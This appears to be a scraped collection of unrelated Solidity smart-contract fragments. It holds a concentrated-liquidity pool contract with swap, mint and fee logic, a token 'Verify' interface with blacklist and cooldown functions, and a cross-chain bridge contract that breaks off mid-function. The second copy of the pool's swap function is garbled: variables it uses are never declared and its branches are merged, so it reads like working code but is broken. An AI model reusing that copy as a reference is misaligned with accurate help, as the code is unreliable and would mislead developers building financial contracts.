SwapCache { uint256 feeAmount; uint256 totalFeeAmount; uint256 protocolFee; uint256 feeGrowthGlobal; uint256 currentPrice; uint256 currentLiquidity; uint256 input; int24 nextTickToCross; } struct MintParams { int24 lowerOld; int24 lower; int24 upperOld; int24 upper; uint256 amount0Desired; uint256 amount1Desired; bool token0native; bool token1native; address positionOwner; // To mint an NFT the positionOwner should be set to the positionManager contract. address positionRecipient; uint256 positionId; } /// @dev Error list to optimize around pool requirements. error Locked(); error ZeroAddress(); error InvalidToken(); error InvalidSwapFee(); error LiquidityOverflow(); error Token0Missing(); error Token1Missing(); error InvalidTick(); error LowerEven(); error UpperOdd(); error MaxTickLiquidity(); error Overflow(); modifier lock() { if (unlocked == 2) revert Locked(); unlocked = 2; _; unlocked = 1; } /// @dev Only set immutable variables here - state changes made here will not be used. constructor(bytes memory _deployData, IMasterDeployer _masterDeployer) { (address _token0, address _token1, uint24 _swapFee, uint160 _price, uint24 _tickSpacing) = abi.decode( _deployData, (address, address, uint24, uint160, uint24) ); if (_token0 == address(0)) revert ZeroAddress(); if (_token0 == address(this)) revert InvalidToken(); if (_token1 == address(this)) revert InvalidToken(); if (_swapFee > MAX_FEE) revert InvalidSwapFee(); token0 = _token0; token1 = _token1; swapFee = _swapFee; price = _price; tickSpacing = _tickSpacing; // Prevents global liquidity overflow in the case all ticks are initialised. MAX_TICK_LIQUIDITY = Ticks.getMaxLiquidity(_tickSpacing); ticks[TickMath.MIN_TICK] = Ticks.Tick(TickMath.MIN_TICK, TickMath.MAX_TICK, uint128(0), 0, 0, 0); ticks[TickMath.MAX_TICK] = Ticks.Tick(TickMath.MIN_TICK, TickMath.MAX_TICK, uint128(0), 0, 0, 0); nearestTick = TickMath.MIN_TICK; bento = IBentoBoxMinimal(_masterDeployer.bento()); barFeeTo = _masterDeployer.barFeeTo(); barFee = _masterDeployer.barFee(); masterDeployer = _masterDeployer; unlocked = 1; } /// @dev Mints LP tokens - should be called via the router after transferring `bento` tokens. /// The router must ensure that sufficient liquidity has been minted. function mint(bytes calldata data) public override lock returns (uint256 _liquidity) { MintParams memory mintParams = abi.decode(data, (MintParams)); uint256 priceLower = uint256(TickMath.getSqrtRatioAtTick(mintParams.lower)); uint256 priceUpper = uint256(TickMath.getSqrtRatioAtTick(mintParams.upper)); uint256 currentPrice = uint256(price); _liquidity = DyDxMath.getLiquidityForAmounts( priceLower, priceUpper, currentPrice, mintParams.amount1Desired, mintParams.amount0Desired ); unchecked { (uint256 amount0fees, uint256 amount1fees, ) = _updatePosition( mintParams.positionOwner, mintParams.lower, mintParams.upper, int128(uint128(_liquidity)) ); if (amount0fees > 0) { _transfer(token0, amount0fees, mintParams.positionOwner, false); reserve0 -= uint128(amount0fees); } if (amount1fees > 0) { _transfer(token1, amount1fees, mintParams.positionOwner, false); reserve1 -= uint128(amount1fees); } } unchecked { if (priceLower < currentPrice && currentPrice < priceUpper) liquidity += uint128(_liquidity); } _ensureTickSpacing(mintParams.lower, mintParams.upper); nearestTick = Ticks.insert( ticks, feeGrowthGlobal0, feeGrowthGlobal1, secondsGrowthGlobal, mintParams.lowerOld, mintParams.lower, mintParams.upperOld, mintParams.upper, uint128(_liquidity), nearestTick, uint160(currentPrice) ); (uint128 amount0Actual, uint128 amount1Actual) = DyDxMath.getAmountsForLiquidity( priceLower, priceUpper, currentPrice, _liquidity, true ); { ITridentRouter.TokenInput[] memory callbackData = new ITridentRouter.TokenInput[](2); callbackData[0] = ITridentRouter.TokenInput(token0, mintParams.token0native, amount0Actual); callbackData[1] = ITridentRouter.TokenInput(token1, mintParams.token1native, amount1Actual); ITridentCallee(msg.sender).tridentMintCallback(abi.encode(callbackData)); } unchecked { if (amount0Actual != 0) { if (amount0Actual + reserve0 > _balance(token0)) revert Token0Missing(); reserve0 += amount0Actual; } if (amount1Actual != 0) { if (amount1Actual + reserve1 > _balance(token1)) revert Token1Missing(); reserve1 += amount1Actual; } } (uint256 feeGrowth0, uint256 feeGrowth1) = rangeFeeGrowth(mintParams.lower, mintParams.upper); if (mintParams.positionRecipient != address(0)) { IPositionManager(mintParams.positionOwner).positionMintCallback( mintParams.positionRecipient, mintParams.lower, mintParams.upper, uint128(_liquidity), feeGrowth0, feeGrowth1, mintParams.positionId ); } emit Mint(mintParams.positionOwner, amount0Actual, amount1Actual); } /// @notice Burn function that cannpt conform to the IPool interface due to having three return values. /// @dev Burns LP tokens sent to this contract. function decreaseLiquidity( int24 lower, int24 upper, uint128 amount, address recipient, bool unwrapBento ) public returns ( IPool.TokenAmount[] memory withdrawnAmounts, IPool.TokenAmount[] memory feesWithdrawn, uint256 oldLiquidity ) { uint256 amount0; uint256 amount1; { uint160 priceLower = TickMath.getSqrtRatioAtTick(lower); uint160 priceUpper = TickMath.getSqrtRatioAtTick(upper); uint160 currentPrice = price; unchecked { if (priceLower < currentPrice && currentPrice < priceUpper) liquidity -= amount; } (amount0, amount1) = DyDxMath.getAmountsForLiquidity( uint256(priceLower), uint256(priceUpper), uint256(currentPrice), uint256(amount), false ); } { // Ensure no overflow happens when we cast to int128. if (amount > uint128(type(int128).max)) revert Overflow(); uint256 amount0fees; uint256 amount1fees; (amount0fees, amount1fees, oldLiquidity) = _updatePosition(msg.sender, lower, upper, -int128(amount)); withdrawnAmounts = new TokenAmount[](2); withdrawnAmounts[0] = TokenAmount({token: token0, amount: amount0}); withdrawnAmounts[1] = TokenAmount({token: token1, amount: amount1}); feesWithdrawn = new TokenAmount[](2); feesWithdrawn[0] = TokenAmount({token: token0, amount: amount0fees}); feesWithdrawn[1] = TokenAmount({token: token1, amount: amount1fees}); unchecked { amount0 += amount0fees; amount1 += amount1fees; } } unchecked { reserve0 -= uint128(amount0); reserve1 -= uint128(amount1); } _transferBothTokens(recipient, amount0, amount1, unwrapBento); nearestTick = Ticks.remove(ticks, lower, upper, amount, nearestTick); emit Burn(msg.sender, amount0, amount1); } function burn(bytes calldata) public pure override returns (IPool.TokenAmount[] memory) { revert(); } function burnSingle(bytes calldata) public pure override returns (uint256) { revert(); } function collect( int24 lower, int24 upper, address recipient, bool unwrapBento ) public lock returns (uint256 amount0fees, uint256 amount1fees) { (amount0fees, amount1fees, ) = _updatePosition(msg.sender, lower, upper, 0); _transferBothTokens(recipient, amount0fees, amount1fees, unwrapBento); reserve0 -= uint128(amount0fees); reserve1 -= uint128(amount1fees); emit Collect(msg.sender, amount0fees, amount1fees); } /// @dev Swaps one token for another. The router must prefund this contract and ensure there isn't too much slippage /// - price is √(y/x) /// - x is token0 /// - zero for one -> price will move down. function swap(bytes memory data) public override lock returns (uint256 amountOut) { (bool zeroForOne, uint256 inAmount, address recipient, bool unwrapBento) = abi.decode(data, (bool, uint256, address, bool)); SwapCache memory cache = SwapCache({ feeAmount: 0, totalFeeAmount: 0, protocolFee: 0, feeGrowthGlobal: zeroForOne ? feeGrowthGlobal1 : feeGrowthGlobal0, currentPrice: uint256(price), currentLiquidity: uint256(liquidity), input: inAmount, nextTickToCross: zeroForOne ? nearestTick : ticks[nearestTick].nextTick }); unchecked { uint256 timestamp = block.timestamp; uint256 diff = timestamp - uint256(lastObservation); // Underflow in 2106. Don't do staking rewards in the year 2106. if (diff > 0 && liquidity > 0) { lastObservation = uint32(timestamp); secondsGrowthGlobal += uint160((diff << 128) / liquidity); } } while (cache.input != 0) { uint256 nextTickPrice = uint256(TickMath.getSqrtRatioAtTick(cache.nextTickToCross)); uint256 output = 0; bool cross = false; if (zeroForOne) { // Trading token 0 (x) for token 1 (y). // Price is decreasing. // Maximum input amount within current tick range: Δx = Δ(1/√𝑃) · L. uint256 maxDx = DyDxMath.getDx(cache.currentLiquidity, nextTickPrice, cache.currentPrice, false); if (cache.input <= maxDx) { // We can swap within the current range. uint256 liquidityPadded = cache.currentLiquidity << 96; // Calculate new price after swap: √𝑃[new] = L · √𝑃 / (L + Δx · √𝑃) // This is derrived from Δ(1/√𝑃) = Δx/L // where Δ(1/√𝑃) is 1/√𝑃[old] - 1/√𝑃[new] and we solve for √𝑃[new]. // In case of an owerflow we can use: √𝑃[new] = L / (L / √𝑃 + Δx). // This is derrived by dividing the original fraction by √𝑃 on both sides. uint256 newPrice = uint256( FullMath.mulDivRoundingUp(liquidityPadded, cache.currentPrice, liquidityPadded + cache.currentPrice * cache.input) ); if (!(nextTickPrice <= newPrice && newPrice < cache.currentPrice)) { // Overflow. We use a modified version of the formula. newPrice = uint160(UnsafeMath.divRoundingUp(liquidityPadded, liquidityPadded / cache.currentPrice + cache.input)); } // Based on the price difference calculate the output of th swap: Δy = Δ√P · L. output = DyDxMath.getDy(cache.currentLiquidity, newPrice, cache.currentPrice, false); cache.currentPrice = newPrice; cache.input = 0; } else { // Execute swap step and cross the tick. output = DyDxMath.getDy(cache.currentLiquidity, nextTickPrice, cache.currentPrice, false); cache.currentPrice = nextTickPrice; cross = true; cache.input -= maxDx; } } else { // Price is increasing. // Maximum swap amount within the current tick range: Δy = Δ√P · L. uint256 maxDy = DyDxMath.getDy(cache.currentLiquidity, cache.currentPrice, nextTickPrice, false); if (cache.input <= maxDy) { // We can swap within the current range. // Calculate new price after swap: ΔP = Δy/L. uint256 newPrice = cache.currentPrice + FullMath.mulDiv(cache.input, 0x1000000000000000000000000, cache.currentLiquidity); // Calculate output of swap // - Δx = Δ(1/√P) · L. output = DyDxMath.getDx(cache.currentLiquidity, cache.currentPrice, newPrice, false); cache.currentPrice = newPrice; cache.input = 0; } else { // Swap & cross the tick. output = DyDxMath.getDx(cache.currentLiquidity, cache.currentPrice, nextTickPrice, false); cache.currentPrice = nextTickPrice; cross = true; cache.input -= maxDy; } } (cache.totalFeeAmount, amountOut, cache.protocolFee, cache.feeGrowthGlobal) = SwapLib.handleFees( output, swapFee, barFee, cache.currentLiquidity, cache.totalFeeAmount, amountOut, cache.protocolFee, cache.feeGrowthGlobal ); if (cross) { (cache.currentLiquidity, cache.nextTickToCross) = Ticks.cross( ticks, cache.nextTickToCross, secondsGrowthGlobal, cache.currentLiquidity, cache.feeGrowthGlobal, zeroForOne ); if (cache.currentLiquidity == 0) { // We step into a zone that has liquidity - or we reach the end of the linked list. cache.currentPrice = uint256(TickMath.getSqrtRatioAtTick(cache.nextTickToCross)); (cache.currentLiquidity, cache.nextTickToCross) = Ticks.cross( ticks, cache.nextTickToCross, secondsGrowthGlobal, cache.currentLiquidity, cache.feeGrowthGlobal, zeroForOne ); } } } price = uint160(cache.currentPrice); int24 newNearestTick = zeroForOne ? cache.nextTickToCross : ticks[cache.nextTickToCross].previousTick; if (nearestTick != newNearestTick) { nearestTick = newNearestTick; liquidity = uint128(cache.currentLiquidity); } _updateReserves(zeroForOne, uint128(inAmount), amountOut); _updateFees(zeroForOne, cache.feeGrowthGlobal, uint128(cache.protocolFee)); if (zeroForOne) { _transfer(token1, amountOut, recipient, unwrapBento); emit Swap(recipient, token0, token1, inAmount, amountOut); } else { _transfer(token0, amountOut, recipient, unwrapBento); emit Swap(recipient, token1, token0, inAmount, amountOut); } } /// @dev Reserved for IPool. function flashSwap(bytes calldata) public pure override returns (uint256) { revert(); } /// @dev Updates `barFee` for Trident protocol. function updateBarFee() public { barFee = IMasterDeployer(masterDeployer).barFee(); } /// @dev Collects fees for Trident protocol. function collectProtocolFee() public lock returns (uint128 amount0, uint128 amount1) { if (token0ProtocolFee > 1) { amount0 = token0ProtocolFee - 1; token0ProtocolFee = 1; reserve0 -= amount0; _transfer(token0, amount0, barFeeTo, false); } if (token1ProtocolFee > 1) { amount1 = token1ProtocolFee - 1; token1ProtocolFee = 1; reserve1 -= amount1; _transfer(token1, amount1, barFeeTo, false); } } function _ensureTickSpacing(int24 lower, int24 upper) internal view { if (lower % int24(tickSpacing) != 0) revert InvalidTick(); if ((lower / int24(tickSpacing)) % 2 != 0) revert LowerEven(); if (upper % int24(tickSpacing) != 0) revert InvalidTick(); if ((upper / int24(tickSpacing)) % 2 == 0) revert UpperOdd(); } function _updateReserves( bool zeroForOne, uint128 inAmount, uint256 amountOut ) internal { if (zeroForOne) { uint256 balance0 = _balance(token0); uint128 newBalance = reserve0 + inAmount; if (uint256(newBalance) > balance0) revert Token0Missing(); reserve0 = newBalance; reserve1 -= uint128(amountOut); } else { uint256 balance1 = _balance(token1); uint128 newBalance = reserve1 + inAmount; if (uint256(newBalance) > balance1) revert Token1Missing(); reserve1 = newBalance; reserve0 -= uint128(amountOut); } } function _updateFees( bool zeroForOne, uint256 feeGrowthGlobal, uint128 protocolFee ) internal { if (zeroForOne) { feeGrowthGlobal1 = feeGrowthGlobal; token1ProtocolFee += protocolFee; } else { feeGrowthGlobal0 = feeGrowthGlobal; token0ProtocolFee += protocolFee; } } function _updatePosition( address owner, int24 lower, int24 upper, int128 amount ) internal returns ( uint256 amount0fees, uint256 amount1fees, uint256 oldLiquidity ) { Position storage position = positions[owner][lower][upper]; (uint256 growth0current, uint256 growth1current) = rangeFeeGrowth(lower, upper); amount0fees = FullMath.mulDiv( growth0current - position.feeGrowthInside0Last, position.liquidity, 0x100000000000000000000000000000000 ); amount1fees = FullMath.mulDiv( growth1current - position.feeGrowthInside1Last, position.liquidity, 0x100000000000000000000000000000000 ); oldLiquidity = position.liquidity; if (amount < 0) { position.liquidity -= uint128(-amount); } if (amount > 0) { position.liquidity += uint128(amount); if (position.liquidity > MAX_TICK_LIQUIDITY) revert LiquidityOverflow(); } position.feeGrowthInside0Last = growth0current; position.feeGrowthInside1Last = growth1current; } function _balance(address token) internal view returns (uint256 balance) { balance = bento.balanceOf(token, address(this)); } function _transfer( address token, uint256 shares, address to, bool unwrapBento ) internal { if (unwrapBento) { bento.withdraw(token, address(this), to, 0, shares); } else { bento.transfer(token, address(this), to, shares); } } function _transferBothTokens( address to, uint256 shares0, uint256 shares1, bool unwrapBento ) internal { if (unwrapBento) { bento.withdraw(token0, address(this), to, 0, shares0); bento.withdraw(token1, address(this), to, 0, shares1); } else { bento.transfer(token0, address(this), to, shares0); bento.transfer(token1, address(this), to, shares1); } } /// @dev Generic formula for fee growth inside a range: (globalGrowth - growthBelow - growthAbove) /// - available counters: global, outside u, outside v. /// u ▼ v /// ----|----|-------|xxxxxxxxxxxxxxxxxxx|--------|--------- (global - feeGrowthOutside(u) - feeGrowthOutside(v)) /// ▼ u v /// ----|----|-------|xxxxxxxxxxxxxxxxxxx|--------|--------- (global - (global - feeGrowthOutside(u)) - feeGrowthOutside(v)) /// u v ▼ /// ----|----|-------|xxxxxxxxxxxxxxxxxxx|--------|--------- (global - feeGrowthOutside(u) - (global - feeGrowthOutside(v))) /// @notice Calculates the fee growth inside a range (per unit of liquidity). /// @dev Multiply `rangeFeeGrowth` delta by the provided liquidity to get accrued fees for some period. function rangeFeeGrowth(int24 lowerTick, int24 upperTick) public view returns (uint256 feeGrowthInside0, uint256 feeGrowthInside1) { int24 currentTick = nearestTick; Ticks.Tick storage lower = ticks[lowerTick]; Ticks.Tick storage upper = ticks[upperTick]; // Calculate fee growth below & above. uint256 _feeGrowthGlobal0 = feeGrowthGlobal0; uint256 _feeGrowthGlobal1 = feeGrowthGlobal1; uint256 feeGrowthBelow0; uint256 feeGrowthBelow1; uint256 feeGrowthAbove0; uint256 feeGrowthAbove1; if (lowerTick <= currentTick) { feeGrowthBelow0 = lower.feeGrowthOutside0; feeGrowthBelow1 = lower.feeGrowthOutside1; } else { feeGrowthBelow0 = _feeGrowthGlobal0 - lower.feeGrowthOutside0; feeGrowthBelow1 = _feeGrowthGlobal1 - lower.feeGrowthOutside1; } if (currentTick < upperTick) { feeGrowthAbove0 = upper.feeGrowthOutside0; feeGrowthAbove1 = upper.feeGrowthOutside1; } else { feeGrowthAbove0 = _feeGrowthGlobal0 - upper.feeGrowthOutside0; feeGrowthAbove1 = _feeGrowthGlobal1 - upper.feeGrowthOutside1; } feeGrowthInside0 = _feeGrowthGlobal0 - feeGrowthBelow0 - feeGrowthAbove0; feeGrowthInside1 = _feeGrowthGlobal1 - feeGrowthBelow1 - feeGrowthAbove1; } function getAssets() public view override returns (address[] memory assets) { assets = new address[](2); assets[0] = token0; assets[1] = token1; } /// @dev Reserved for IPool. function getAmountOut(bytes calldata) public pure override returns (uint256) { revert(); } /// @dev Reserved for IPool. function getAmountIn(bytes calldata) public pure override returns (uint256) { revert(); } function getImmutables() public view returns ( uint128 _MAX_TICK_LIQUIDITY, uint24 _tickSpacing, uint24 _swapFee, address _barFeeTo, IBentoBoxMinimal _bento, IMasterDeployer _masterDeployer, address _token0, address _token1 ) { _MAX_TICK_LIQUIDITY = MAX_TICK_LIQUIDITY; _tickSpacing = tickSpacing; _swapFee = swapFee; // 1000 corresponds to 0.1% fee. _barFeeTo = barFeeTo; _bento = bento; _masterDeployer = masterDeployer; _token0 = token0; _token1 = token1; } function getPriceAndNearestTicks() public view returns (uint160 _price, int24 _nearestTick) { _price = price; _nearestTick = nearestTick; } function getTokenProtocolFees() public view returns (uint128 _token0ProtocolFee, uint128 _token1ProtocolFee) { _token0ProtocolFee = token0ProtocolFee; _token1ProtocolFee = token1ProtocolFee; } function getReserves() public view returns (uint128 _reserve0, uint128 _reserve1) { _reserve0 = reserve0; _reserve1 = reserve1; } function getSecondsGrowthAndLastObservation() public view returns (uint160 _secondsGrowthGlobal, uint32 _lastObservation) { _secondsGrowthGlobal = secondsGrowthGlobal; _lastObservation = lastObservation; } }
Swaps one token for another. The router must prefund this contract and ensure there isn't too much slippage - price is √(y/x) - x is token0 - zero for one -> price will move down. Trading token 0 (x) for token 1 (y). Price is decreasing. Maximum input amount within current tick range: Δx = Δ(1/√𝑃) · L. We can swap within the current range. Calculate new price after swap: √𝑃[new] = L · √𝑃 / (L + Δx · √𝑃) This is derrived from Δ(1/√𝑃) = Δx/L where Δ(1/√𝑃) is 1/√𝑃[old] - 1/√𝑃[new] and we solve for √𝑃[new]. In case of an owerflow we can use: √𝑃[new] = L / (L / √𝑃 + Δx). This is derrived by dividing the original fraction by √𝑃 on both sides. Overflow. We use a modified version of the formula. We can swap within the current range. Calculate new price after swap: ΔP = Δy/L. Calculate output of swap - Δx = Δ(1/√P) · L. Swap & cross the tick. We step into a zone that has liquidity - or we reach the end of the linked list.
function swap(bytes memory data) public override lock returns (uint256 amountOut) { (bool zeroForOne, uint256 inAmount, address recipient, bool unwrapBento) = abi.decode(data, (bool, uint256, address, bool)); SwapCache memory cache = SwapCache({ feeAmount: 0, totalFeeAmount: 0, protocolFee: 0, feeGrowthGlobal: zeroForOne ? feeGrowthGlobal1 : feeGrowthGlobal0, currentPrice: uint256(price), currentLiquidity: uint256(liquidity), input: inAmount, nextTickToCross: zeroForOne ? nearestTick : ticks[nearestTick].nextTick }); unchecked { uint256 timestamp = block.timestamp; if (diff > 0 && liquidity > 0) { lastObservation = uint32(timestamp); secondsGrowthGlobal += uint160((diff << 128) / liquidity); } } while (cache.input != 0) { uint256 nextTickPrice = uint256(TickMath.getSqrtRatioAtTick(cache.nextTickToCross)); uint256 output = 0; bool cross = false; if (zeroForOne) { uint256 maxDx = DyDxMath.getDx(cache.currentLiquidity, nextTickPrice, cache.currentPrice, false); if (cache.input <= maxDx) { uint256 liquidityPadded = cache.currentLiquidity << 96; uint256 newPrice = uint256( FullMath.mulDivRoundingUp(liquidityPadded, cache.currentPrice, liquidityPadded + cache.currentPrice * cache.input) ); if (!(nextTickPrice <= newPrice && newPrice < cache.currentPrice)) { newPrice = uint160(UnsafeMath.divRoundingUp(liquidityPadded, liquidityPadded / cache.currentPrice + cache.input)); } cache.currentPrice = newPrice; cache.input = 0; cache.currentPrice = nextTickPrice; cross = true; cache.input -= maxDx; } if (cache.input <= maxDy) { uint256 newPrice = cache.currentPrice + FullMath.mulDiv(cache.input, 0x1000000000000000000000000, cache.currentLiquidity); output = DyDxMath.getDx(cache.currentLiquidity, cache.currentPrice, newPrice, false); cache.currentPrice = newPrice; cache.input = 0; output = DyDxMath.getDx(cache.currentLiquidity, cache.currentPrice, nextTickPrice, false); cache.currentPrice = nextTickPrice; cross = true; cache.input -= maxDy; } } (cache.totalFeeAmount, amountOut, cache.protocolFee, cache.feeGrowthGlobal) = SwapLib.handleFees( output, swapFee, barFee, cache.currentLiquidity, cache.totalFeeAmount, amountOut, cache.protocolFee, cache.feeGrowthGlobal ); if (cross) { (cache.currentLiquidity, cache.nextTickToCross) = Ticks.cross( ticks, cache.nextTickToCross, secondsGrowthGlobal, cache.currentLiquidity, cache.feeGrowthGlobal, zeroForOne ); if (cache.currentLiquidity == 0) { cache.currentPrice = uint256(TickMath.getSqrtRatioAtTick(cache.nextTickToCross)); (cache.currentLiquidity, cache.nextTickToCross) = Ticks.cross( ticks, cache.nextTickToCross, secondsGrowthGlobal, cache.currentLiquidity, cache.feeGrowthGlobal, zeroForOne ); } } } price = uint160(cache.currentPrice); int24 newNearestTick = zeroForOne ? cache.nextTickToCross : ticks[cache.nextTickToCross].previousTick; if (nearestTick != newNearestTick) { nearestTick = newNearestTick; liquidity = uint128(cache.currentLiquidity); } _updateReserves(zeroForOne, uint128(inAmount), amountOut); _updateFees(zeroForOne, cache.feeGrowthGlobal, uint128(cache.protocolFee)); if (zeroForOne) { _transfer(token1, amountOut, recipient, unwrapBento); emit Swap(recipient, token0, token1, inAmount, amountOut); _transfer(token0, amountOut, recipient, unwrapBento); emit Swap(recipient, token1, token0, inAmount, amountOut); } }
12,582,245
pragma solidity ^0.8.1; // SPDX-License-Identifier: Unlicensed interface Verify { function setSniperStatus(address account, bool blacklisted) external; function setLpPair(address pair, bool enabled) external; function verifyUser(address from, address to, uint256 amount) external returns(bool _verified); function checkLaunch(uint256 launchedAt, bool launched, bool protection) external; function limitedTx(bool onoff) external; function feeExcluded(address account, bool excluded) external; function setTxSettings(uint256 txp, uint256 txd, uint256 mwp, uint256 mwd, bool limiter) external; function getTxSetting() external view returns(uint256 maxTx, uint256 maxWallet, bool limited); function getCoolDownSettings() external view returns(bool buyCooldown, bool sellCooldown, uint256 coolDownTime, uint256 coolDownLimit); function getBlacklistStatus(address account) external view returns(bool); function setCooldownEnabled(bool onoff, bool offon) external; function setCooldown(uint256 amount) external; }
SPDX-License-Identifier: Unlicensed
interface Verify { function setSniperStatus(address account, bool blacklisted) external; function setLpPair(address pair, bool enabled) external; function verifyUser(address from, address to, uint256 amount) external returns(bool _verified); function checkLaunch(uint256 launchedAt, bool launched, bool protection) external; function limitedTx(bool onoff) external; function feeExcluded(address account, bool excluded) external; function setTxSettings(uint256 txp, uint256 txd, uint256 mwp, uint256 mwd, bool limiter) external; function getTxSetting() external view returns(uint256 maxTx, uint256 maxWallet, bool limited); function getCoolDownSettings() external view returns(bool buyCooldown, bool sellCooldown, uint256 coolDownTime, uint256 coolDownLimit); function getBlacklistStatus(address account) external view returns(bool); function setCooldownEnabled(bool onoff, bool offon) external; function setCooldown(uint256 amount) external; }
13,091,902
// SPDX-License-Identifier: MIT pragma solidity =0.8.4; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./lib/Misc.sol"; import "./tokens/DERC20.sol"; contract DecimalBridge is AccessControl { bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE"); // 1 - DEL, 2 - ETH, 3 - BSC uint256 public immutable chainId; // the list of all registered tokens address[] tokenList; // tokenBySymbol[Symbol] = tokenAddress mapping(string => address) public tokenBySymbol; // chainList[chainId] = enabled mapping(uint256 => bool) public chainList; // swaps[hashedMsg] = SwapData mapping(bytes32 => SwapData) public swaps; // Struct of swap struct SwapData { uint256 transaction; // transaction number State state; } // Status of swap enum State { Empty, Initialized, Redeemed } /** * @dev Emitted when swap to Decimal chain created * */ event SwapToDecimalInitialized( uint256 timestamp, address indexed initiator, string recipient, uint256 amount, string tokenSymbol, uint256 chainTo, uint256 nonce ); /** * @dev Emitted when swap to other chain created * */ event SwapInitialized( uint256 timestamp, address indexed initiator, address recipient, uint256 amount, string tokenSymbol, uint256 chainTo, uint256 nonce ); /** * @dev Emitted when swap redeemed. */ event SwapRedeemed( address indexed initiator, uint256 timestamp, uint256 nonce ); /** * @dev Emitted when new token added */ event TokenAdded(address token, string symbol); constructor(uint256 _chainId) { // Grant the contract deployer the default admin role: it will be able // to grant and revoke any roles _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(ADMIN_ROLE, msg.sender); // Sets `ADMIN_ROLE` as `VALIDATOR_ROLE`'s admin role. _setRoleAdmin(VALIDATOR_ROLE, ADMIN_ROLE); // Sets `ADMIN_ROLE` as `MINTER_ROLE`'s admin role. _setRoleAdmin(MINTER_ROLE, ADMIN_ROLE); // Sets `ADMIN_ROLE` as `BURNER_ROLE`'s admin role. _setRoleAdmin(BURNER_ROLE, ADMIN_ROLE); // Sets `ADMIN_ROLE` as `PAUSER_ROLE`'s admin role. _setRoleAdmin(PAUSER_ROLE, ADMIN_ROLE); chainId = _chainId; // 1 - DEL, 2 - ETH, 3 - BSC } /** * @dev Returned list of registered tokens */ function getTokenList() public view returns (address[] memory) { return tokenList; } /** * @dev Creates new swap. * * Emits a {SwapInitialized} event * * Arguments * * - `amount` amount of tokens * - `nonce` number of transaction * - `recipient` recipient address in another network * - `chainTo` destination chain id * - `tokenSymbol` - symbol of token */ function swap( uint256 amount, uint256 nonce, address recipient, uint256 chainTo, string memory tokenSymbol ) external { require(chainTo != chainId, "DecimalBridge: Invalid chainTo id"); require(chainList[chainTo], "DecimalBridge: ChainTo id is not allowed"); address tokenAddress = tokenBySymbol[tokenSymbol]; require( tokenAddress != address(0), "DecimalBridge: Token is not registered" ); bytes32 hashedMsg = keccak256( abi.encodePacked( nonce, amount, tokenSymbol, recipient, chainId, chainTo ) ); require( swaps[hashedMsg].state == State.Empty, "DecimalBridge: Swap is not empty state or duplicate tx" ); swaps[hashedMsg] = SwapData({ transaction: nonce, state: State.Initialized }); DERC20(tokenAddress).burn(msg.sender, amount); emit SwapInitialized( block.timestamp, msg.sender, recipient, amount, tokenSymbol, chainTo, nonce ); } /** * @dev Creates new swap to decimal chain * * Emits a {SwapInitialized} event. * * Arguments * * - `amount` amount of tokens * - `nonce` number of transaction * - `recipient` recipient address in decimal network * - `tokenSymbol` symbol of token */ function swapToDecimal( uint256 amount, uint256 nonce, string memory recipient, string memory tokenSymbol ) external { address tokenAddress = tokenBySymbol[tokenSymbol]; require( tokenAddress != address(0), "DecimalBridge: Token is not registered" ); require( bytes(recipient).length == 41, "DecimalBridge: Recipient must be 41 symbols long" ); bytes32 hashedMsg = keccak256( abi.encodePacked( nonce, amount, tokenSymbol, recipient, chainId, uint256(1) ) ); require( swaps[hashedMsg].state == State.Empty, "DecimalBridge: Swap is not empty state or duplicate tx" ); swaps[hashedMsg] = SwapData({ transaction: nonce, state: State.Initialized }); DERC20(tokenAddress).burn(msg.sender, amount); emit SwapToDecimalInitialized( block.timestamp, msg.sender, recipient, amount, tokenSymbol, 1, nonce ); } /** * @dev Execute redeem. * * Emits a {SwapRedeemed} event. * Emits a {TokenAdded} event when new token sended * * Arguments: * * - `amount` amount of transaction. * - `recipient` recipient address in target network. * - `nonce` number of transaction. * - `chainFrom` source chain id * - `_v` v of signature. * - `_r` r of signature. * - `_s` s of signature. * - `tokenSymbol` symbol of token */ function redeem( uint256 amount, address recipient, uint256 nonce, uint256 chainFrom, uint8 _v, bytes32 _r, bytes32 _s, string memory tokenSymbol ) external { require(chainFrom != chainId, "DecimalBridge: Invalid chainFrom id"); require( chainList[chainFrom], "DecimalBridge: ChainFrom id not allowed" ); require( bytes(tokenSymbol).length > 0, "DecimalBridge: Symbol length should be greater than 0" ); address tokenAddress = tokenBySymbol[tokenSymbol]; if (tokenAddress == address(0)) { tokenAddress = address(new DERC20(tokenSymbol)); tokenBySymbol[tokenSymbol] = tokenAddress; tokenList.push(tokenAddress); emit TokenAdded(tokenAddress, tokenSymbol); } bytes32 message = keccak256( abi.encodePacked( nonce, amount, tokenSymbol, recipient, chainFrom, chainId ) ); require( swaps[message].state == State.Empty, "DecimalBridge: Swap is not empty state or duplicate tx" ); bytes32 hashedMsg = keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", message) ); address signer = Misc.recover(hashedMsg, _v, _r, _s); require( hasRole(VALIDATOR_ROLE, signer), "DecimalBridge: Validator address is invalid" ); swaps[message] = SwapData({transaction: nonce, state: State.Redeemed}); DERC20(tokenAddress).mint(recipient, amount); emit SwapRedeemed(msg.sender, block.timestamp, nonce); } /** * @dev Returns swap state. * * Arguments * * - `hashedSecret` hash of swap. */ function getSwapState(bytes32 hashedSecret) external view returns (State state) { return swaps[hashedSecret].state; } /** * @dev Add a new token * * Emits a {TokenAdded} event. * * Arguments * * - `symbol` symbol of token. */ function addToken(string memory symbol) external { require( hasRole(ADMIN_ROLE, msg.sender), "DecimalBridge: Caller is not an admin" ); require( bytes(symbol).length > 0, "DecimalBridge: Symbol length should be greater than 0" ); address tokenAddress = tokenBySymbol[symbol]; require( tokenAddress == address(0), "DecimalBridge: Token is already registered" ); tokenAddress = address(new DERC20(symbol)); tokenBySymbol[symbol] = tokenAddress; tokenList.push(tokenAddress); emit TokenAdded(tokenAddress, symbol); } /** * @dev Update a token address * * Arguments * * - `symbol` symbol of a token. * - `newToken` new address of a token */ function updateToken(string memory symbol, address newToken) external { require( hasRole(ADMIN_ROLE, msg.sender), "DecimalBridge: Caller is not an admin" ); tokenBySymbol[symbol] = newToken; } /** * @dev Manually mint token by symbol * * Arguments * * - `symbol` symbol of token. * - `to` recipient address. * - `amount` amount of tokens. */ function mintToken( string memory symbol, address to, uint256 